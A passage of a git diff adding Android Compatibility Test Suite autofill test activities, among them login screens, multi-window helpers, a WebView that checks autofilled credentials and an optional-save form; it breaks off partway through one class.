+            ccUsernameWatcher = username == null ? null
+                    : new OneTimeTextWatcher("username", mUsernameEditText, username);
+            ccPasswordWatcher = password == null ? null
+                    : new OneTimeTextWatcher("password", mPasswordEditText, password);
+        }
+
+        private FillExpectation(String username) {
+            this(username, null);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillActivity.java
new file mode 100644
index 0000000..bfc1713
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+/**
+ * Same as {@link LoginActivity}, but with autofill disabled.
+ */
+public class LoginNotImportantForAutofillActivity extends LoginActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.login_activity_not_important;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillWrappedActivityContextActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillWrappedActivityContextActivity.java
new file mode 100644
index 0000000..6114ad2
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillWrappedActivityContextActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.util.Log;
+
+/**
+ * Same as {@link LoginNotImportantForAutofillActivity}, but using a context wrapper of itself
+ * as the base context.
+ */
+public class LoginNotImportantForAutofillWrappedActivityContextActivity
+        extends LoginNotImportantForAutofillActivity {
+
+    private Context mMyBaseContext;
+
+    @Override
+    public Context getBaseContext() {
+        if (mMyBaseContext == null) {
+            mMyBaseContext = new ContextWrapper(super.getBaseContext());
+            Log.d(mTag, "getBaseContext(): set to " + mMyBaseContext + " (instead of "
+                    + super.getBaseContext() + ")");
+        }
+        return mMyBaseContext;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillWrappedApplicationContextActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillWrappedApplicationContextActivity.java
new file mode 100644
index 0000000..bea6f88
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillWrappedApplicationContextActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.util.Log;
+
+/**
+ * Same as {@link LoginNotImportantForAutofillActivity}, but using a context wrapper of itself
+ * as the base context.
+ */
+public class LoginNotImportantForAutofillWrappedApplicationContextActivity
+        extends LoginNotImportantForAutofillActivity {
+
+    private Context mMyBaseContext;
+
+    @Override
+    public Context getBaseContext() {
+        if (mMyBaseContext == null) {
+            mMyBaseContext = new ContextWrapper(getApplicationContext());
+            Log.d(mTag, "getBaseContext(): set to " + mMyBaseContext + " (instead of "
+                    + super.getBaseContext() + ")");
+        }
+        return mMyBaseContext;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginWithCustomHighlightActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginWithCustomHighlightActivity.java
new file mode 100644
index 0000000..1f151ca
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginWithCustomHighlightActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+/**
+ * Same as {@link LoginActivity}, but with a custom autofill highlight drawable.
+ */
+public class LoginWithCustomHighlightActivity extends LoginActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.login_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginWithStringsActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginWithStringsActivity.java
new file mode 100644
index 0000000..032b5a8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginWithStringsActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+/**
+ * Same as {@link LoginActivity}, but with the texts for some fields set from resources.
+ */
+public class LoginWithStringsActivity extends LoginActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.login_with_strings_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/ManualAuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/ManualAuthenticationActivity.java
new file mode 100644
index 0000000..58b67d7
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/ManualAuthenticationActivity.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.app.Activity;
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Parcelable;
+import android.view.autofill.AutofillManager;
+
+/**
+ * An activity that authenticates on button press
+ */
+public class ManualAuthenticationActivity extends Activity {
+    private static CannedFillResponse sResponse;
+    private static CannedFillResponse.CannedDataset sDataset;
+
+    public static void setResponse(CannedFillResponse response) {
+        sResponse = response;
+        sDataset = null;
+    }
+
+    public static void setDataset(CannedFillResponse.CannedDataset dataset) {
+        sDataset = dataset;
+        sResponse = null;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.single_button_activity);
+
+        findViewById(R.id.button).setOnClickListener((v) -> {
+            AssistStructure structure = getIntent().getParcelableExtra(
+                    AutofillManager.EXTRA_ASSIST_STRUCTURE);
+            if (structure != null) {
+                Parcelable result;
+                if (sResponse != null) {
+                    result = sResponse.asFillResponse(/* contexts= */ null,
+                            (id) -> Helper.findNodeByResourceId(structure, id));
+                } else if (sDataset != null) {
+                    result = sDataset.asDataset(
+                            (id) -> Helper.findNodeByResourceId(structure, id));
+                } else {
+                    throw new IllegalStateException("no dataset or response");
+                }
+
+                // Pass on the auth result
+                Intent intent = new Intent();
+                intent.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, result);
+                setResult(RESULT_OK, intent);
+            }
+
+            // Done
+            finish();
+        });
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowEmptyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowEmptyActivity.java
new file mode 100644
index 0000000..75c9b18
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowEmptyActivity.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.testcore.Timeouts;
+import android.util.Log;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Empty activity that allows to be put in different split window.
+ */
+public class MultiWindowEmptyActivity extends EmptyActivity {
+
+    private static final String TAG = "MultiWindowEmptyActivity";
+    private static MultiWindowEmptyActivity sLastInstance;
+    private static CountDownLatch sLastInstanceLatch;
+    private static CountDownLatch sDestroyLastInstanceLatch;
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+        sLastInstance = this;
+        if (sLastInstanceLatch != null) {
+            sLastInstanceLatch.countDown();
+        }
+    }
+
+    @Override
+    public void onWindowFocusChanged(boolean hasFocus) {
+        if (hasFocus) {
+            if (sLastInstanceLatch != null) {
+                sLastInstanceLatch.countDown();
+            }
+        }
+    }
+
+    public static void expectNewInstance(boolean waitWindowFocus) {
+        sLastInstanceLatch = new CountDownLatch(waitWindowFocus ? 2 : 1);
+    }
+
+    public static MultiWindowEmptyActivity waitNewInstance() throws InterruptedException {
+        if (!sLastInstanceLatch.await(Timeouts.ACTIVITY_RESURRECTION.getMaxValue(),
+                TimeUnit.MILLISECONDS)) {
+            throw new RetryableException("New MultiWindowEmptyActivity didn't start",
+                    Timeouts.ACTIVITY_RESURRECTION);
+        }
+        sLastInstanceLatch = null;
+        return sLastInstance;
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        if (sDestroyLastInstanceLatch != null) {
+            sDestroyLastInstanceLatch.countDown();
+        }
+    }
+
+    public static void finishAndWaitDestroy() {
+        if (sLastInstance != null) {
+            sLastInstance.finish();
+
+            sDestroyLastInstanceLatch = new CountDownLatch(1);
+            try {
+                sDestroyLastInstanceLatch.await(Timeouts.ACTIVITY_RESURRECTION.getMaxValue(),
+                        TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                Log.e(TAG, "interrupted waiting for MultiWindowEmptyActivity to be destroyed");
+                Thread.currentThread().interrupt();
+            }
+            sDestroyLastInstanceLatch = null;
+            sLastInstance = null;
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java
new file mode 100644
index 0000000..53bd825
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.testcore.Timeouts;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity that allows capture recreated instance for testing multi window scenarios.
+ */
+public class MultiWindowLoginActivity extends LoginActivity {
+
+    private static MultiWindowLoginActivity sLastInstance;
+    private static CountDownLatch sLastInstanceLatch;
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+        sLastInstance = this;
+        if (sLastInstanceLatch != null) {
+            sLastInstanceLatch.countDown();
+        }
+    }
+
+    @Override
+    public void onWindowFocusChanged(boolean hasFocus) {
+        if (hasFocus) {
+            if (sLastInstanceLatch != null) {
+                sLastInstanceLatch.countDown();
+            }
+        }
+    }
+
+    public static void expectNewInstance(boolean waitWindowFocus) {
+        sLastInstanceLatch = new CountDownLatch(waitWindowFocus ? 2 : 1);
+    }
+
+    public static MultiWindowLoginActivity waitNewInstance() throws InterruptedException {
+        if (!sLastInstanceLatch.await(Timeouts.ACTIVITY_RESURRECTION.getMaxValue(),
+                TimeUnit.MILLISECONDS)) {
+            throw new RetryableException("New MultiWindowLoginActivity didn't start",
+                    Timeouts.ACTIVITY_RESURRECTION);
+        }
+        sLastInstanceLatch = null;
+        return sLastInstance;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/MyWebView.java b/tests/autofillservice/src/android/autofillservice/cts/activities/MyWebView.java
new file mode 100644
index 0000000..5900a9d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/MyWebView.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Context;
+import android.util.AttributeSet;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+import android.webkit.JavascriptInterface;
+import android.webkit.WebView;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link WebView} used to assert contents were autofilled.
+ */
+public class MyWebView extends WebView {
+
+    private static final String TAG = "MyWebView";
+
+    private FillExpectation mExpectation;
+
+    public MyWebView(Context context) {
+        super(context);
+        setJsHandler();
+        Log.d(TAG, "isAutofillEnabled() on constructor? " + isAutofillEnabled());
+    }
+
+    public MyWebView(Context context, AttributeSet attrs) {
+        super(context, attrs);
+        setJsHandler();
+        Log.d(TAG, "isAutofillEnabled() on constructor? " + isAutofillEnabled());
+    }
+
+    public void expectAutofill(String username, String password) {
+        mExpectation = new FillExpectation(username, password);
+    }
+
+    public void assertAutofilled() throws Exception {
+        assertWithMessage("expectAutofill() not called").that(mExpectation).isNotNull();
+        mExpectation.assertUsernameCalled();
+        mExpectation.assertPasswordCalled();
+    }
+
+    private void setJsHandler() {
+        getSettings().setJavaScriptEnabled(true);
+        addJavascriptInterface(new JavascriptHandler(), "JsHandler");
+    }
+
+    public boolean isAutofillEnabled() {
+        return getContext().getSystemService(AutofillManager.class).isEnabled();
+    }
+
+    private class FillExpectation {
+        private final CountDownLatch mUsernameLatch = new CountDownLatch(1);
+        private final CountDownLatch mPasswordLatch = new CountDownLatch(1);
+        private final String mExpectedUsername;
+        private final String mExpectedPassword;
+        private String mActualUsername;
+        private String mActualPassword;
+
+        FillExpectation(String username, String password) {
+            this.mExpectedUsername = username;
+            this.mExpectedPassword = password;
+        }
+
+        void setUsername(String username) {
+            mActualUsername = username;
+            mUsernameLatch.countDown();
+        }
+
+        void setPassword(String password) {
+            mActualPassword = password;
+            mPasswordLatch.countDown();
+        }
+
+        void assertUsernameCalled() throws Exception {
+            assertCalled(mUsernameLatch, "username");
+            assertWithMessage("Wrong value for username").that(mExpectation.mActualUsername)
+                .isEqualTo(mExpectation.mExpectedUsername);
+        }
+
+        void assertPasswordCalled() throws Exception {
+            assertCalled(mPasswordLatch, "password");
+            assertWithMessage("Wrong value for password").that(mExpectation.mActualPassword)
+                    .isEqualTo(mExpectation.mExpectedPassword);
+        }
+
+        private void assertCalled(CountDownLatch latch, String field) throws Exception {
+            if (!latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
+                throw new RetryableException(FILL_TIMEOUT, "%s not called", field);
+            }
+        }
+    }
+
+    private class JavascriptHandler {
+
+        @JavascriptInterface
+        public void onUsernameChanged(String username) {
+            Log.d(TAG, "onUsernameChanged():" + username);
+            if (mExpectation != null) {
+                mExpectation.setUsername(username);
+            }
+        }
+
+        @JavascriptInterface
+        public void onPasswordChanged(String password) {
+            Log.d(TAG, "onPasswordChanged():" + password);
+            if (mExpectation != null) {
+                mExpectation.setPassword(password);
+            }
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/NonAutofillableActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/NonAutofillableActivity.java
new file mode 100644
index 0000000..3ece6be
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/NonAutofillableActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+
+public final class NonAutofillableActivity extends AbstractAutoFillActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.non_autofillable_activity);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/OnCreateServiceStatusVerifierActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/OnCreateServiceStatusVerifierActivity.java
new file mode 100644
index 0000000..e53d68b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/OnCreateServiceStatusVerifierActivity.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static android.autofillservice.cts.testcore.Helper.getAutofillServiceName;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+import android.util.Log;
+
+// TODO(b/159304958): Move to activity folder
+/**
+ * Activity used to verify whether the service is enable or not when it's launched.
+ */
+public class OnCreateServiceStatusVerifierActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "OnCreateServiceStatusVerifierActivity";
+
+    public static final String SERVICE_NAME =
+            android.autofillservice.cts.testcore.NoOpAutofillService.SERVICE_NAME;
+
+    private String mSettingsOnCreate;
+    private boolean mEnabledOnCreate;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.simple_save_activity);
+
+        mSettingsOnCreate = getAutofillServiceName();
+        mEnabledOnCreate = getAutofillManager().isEnabled();
+        Log.i(TAG, "On create: settings=" + mSettingsOnCreate + ", enabled=" + mEnabledOnCreate);
+    }
+
+    public void assertServiceStatusOnCreate(boolean enabled) {
+        if (enabled) {
+            assertWithMessage("Wrong settings").that(mSettingsOnCreate)
+                .isEqualTo(SERVICE_NAME);
+            assertWithMessage("AutofillManager.isEnabled() is wrong").that(mEnabledOnCreate)
+                .isTrue();
+
+        } else {
+            assertWithMessage("Wrong settings").that(mSettingsOnCreate).isNull();
+            assertWithMessage("AutofillManager.isEnabled() is wrong").that(mEnabledOnCreate)
+                .isFalse();
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/OptionalSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/OptionalSaveActivity.java
new file mode 100644
index 0000000..22587d2
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/OptionalSaveActivity.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.widget.Button;
+import android.widget.EditText;
+
+import androidx.annotation.Nullable;
+
+/**
+ * Activity that has the following fields:
+ *
+ * <ul>
+ *   <li>Address 1 EditText (id: address1)
+ *   <li>Address 2 EditText (id: address2)
+ *   <li>City EditText (id: city)
+ *   <li>Favorite Color EditText (id: favorite_color)
+ *   <li>Clear Button
+ *   <li>SaveButton
+ * </ul>
+ *
+ * <p>It's used to test auto-fill Save when not all fields are required.
+ */
+public class OptionalSaveActivity extends AbstractAutoFillActivity {
+
+    public static final String ID_ADDRESS1 = "address1";
+    public static final String ID_ADDRESS2 = "address2";
+    public static final String ID_CITY = "city";
+    public static final String ID_FAVORITE_COLOR = "favorite_color";
+
+    public EditText mAddress1;
+    public EditText mAddress2;
+    public EditText mCity;
+    public EditText mFavoriteColor;
+    private Button mSaveButton;
+    private Button mClearButton;
+    private FillExpectation mExpectation;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.optional_save_activity);
+
+        mAddress1 = (EditText) findViewById(R.id.address1);
+        mAddress2 = (EditText) findViewById(R.id.address2);
+        mCity = (EditText) findViewById(R.id.city);
+        mFavoriteColor = (EditText) findViewById(R.id.favorite_color);
+        mSaveButton = (Button) findViewById(R.id.save);
+        mClearButton = (Button) findViewById(R.id.clear);
+        mSaveButton.setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                save();
+            }
+        });
+        mClearButton.setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                resetFields();
+            }
+        });
+    }
+
+    /**
+     * Resets the values of the input fields.
+     */
+    private void resetFields() {
+        mAddress1.setText("");
+        mAddress2.setText("");
+        mCity.setText("");
+        mFavoriteColor.setText("");
+    }
+
+    /**
+     * Emulates a save action.
+     */
+    public void save() {
+        final Intent intent = new Intent(this, WelcomeActivity.class);
+        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "Saved and sounded, please come again!");
+
+        startActivity(intent);
+        finish();
+    }
+
+    /**
+     * Sets the expectation for an auto-fill request, so it can be asserted through
+     * {@link #assertAutoFilled()} later.
+     */
+    public void expectAutoFill(@Nullable String address1, @Nullable String address2,
+            @Nullable String city,
+            @Nullable String favColor) {
+        mExpectation = new FillExpectation(address1, address2, city, favColor);
+        if (address1 != null) {
+            mAddress1.addTextChangedListener(mExpectation.address1Watcher);
+        }
+        if (address2 != null) {
+            mAddress2.addTextChangedListener(mExpectation.address2Watcher);
+        }
+        if (city != null) {
+            mCity.addTextChangedListener(mExpectation.cityWatcher);
+        }
+        if (favColor != null) {
+            mFavoriteColor.addTextChangedListener(mExpectation.favoriteColorWatcher);
+        }
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, String, String, String)}.
+     */
+    public void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        if (mExpectation.address1Watcher != null) {
+            mExpectation.address1Watcher.assertAutoFilled();
+        }
+        if (mExpectation.address2Watcher != null) {
+            mExpectation.address2Watcher.assertAutoFilled();
+        }
+        if (mExpectation.cityWatcher != null) {
+            mExpectation.cityWatcher.assertAutoFilled();
+        }
+        if (mExpectation.favoriteColorWatcher != null) {
+            mExpectation.favoriteColorWatcher.assertAutoFilled();
+        }
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final OneTimeTextWatcher address1Watcher;
+        private final OneTimeTextWatcher address2Watcher;
+        private final OneTimeTextWatcher cityWatcher;
+        private final OneTimeTextWatcher favoriteColorWatcher;
+
+        private FillExpectation(@Nullable String address1, @Nullable String address2,
+                @Nullable String city, @Nullable String favColor) {
+            address1Watcher = address1 == null ? null
+                    : new OneTimeTextWatcher("address1", mAddress1, address1);
+            address2Watcher = address2 == null ? null
+                    : new OneTimeTextWatcher("address2", mAddress2, address2);
+            cityWatcher = city == null ? null : new OneTimeTextWatcher("city", mCity, city);
+            favoriteColorWatcher = favColor == null ? null
+                    : new OneTimeTextWatcher("favColor", mFavoriteColor, favColor);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/OutOfProcessLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/OutOfProcessLoginActivity.java
new file mode 100644
index 0000000..4cab12c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/OutOfProcessLoginActivity.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.app.Activity;
+import android.autofillservice.cts.R;
+import android.content.Context;
+import android.os.Bundle;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * Simple activity showing R.layout.login_activity. Started outside of the test process.
+ */
+public class OutOfProcessLoginActivity extends Activity {
+    private static final String TAG = "OutOfProcessLoginActivity";
+
+    private static OutOfProcessLoginActivity sInstance;
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        Log.i(TAG, "onCreate(" + savedInstanceState + ")");
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.login_activity);
+
+        findViewById(R.id.login).setOnClickListener((v) -> finish());
+
+        sInstance = this;
+    }
+
+    @Override
+    protected void onStart() {
+        Log.i(TAG, "onStart()");
+        super.onStart();
+        try {
+            if (!getStartedMarker(this).createNewFile()) {
+                Log.e(TAG, "cannot write started file");
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "cannot write started file: " + e);
+        }
+    }
+
+    @Override
+    protected void onStop() {
+        Log.i(TAG, "onStop()");
+        super.onStop();
+
+        try {
+            if (!getStoppedMarker(this).createNewFile()) {
+                Log.e(TAG, "could not write stopped marker");
+            } else {
+                Log.v(TAG, "wrote stopped marker");
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "could write stopped marker: " + e);
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
